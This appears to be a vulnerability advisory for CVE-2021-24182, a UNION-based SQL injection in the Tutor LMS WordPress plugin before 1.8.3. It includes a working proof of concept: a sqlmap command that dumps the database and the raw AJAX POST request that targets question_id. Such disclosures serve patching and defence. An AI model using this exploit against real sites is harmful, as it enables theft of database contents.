Tutor LMS < 1.8.3 – SQL Injection via tutor_quiz_builder_get_answers_by_question | CVE 2021-24182

Description

The tutor_quiz_builder_get_answers_by_question AJAX action from the plugin was vulnerable to UNION based SQL injection that could be exploited by students.

Proof of Concept

python3 sqlmap.py -r ~/tutorunion.txt --dbms=mysql --technique=U -p question_id --dump
Where tutorunion.txt is

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [URL]
Content-Length: 96
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: [URL]
Referer: [URL]
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [COOKIES]
Connection: close

action=tutor_quiz_builder_get_answers_by_question&question_id=1&question_type=1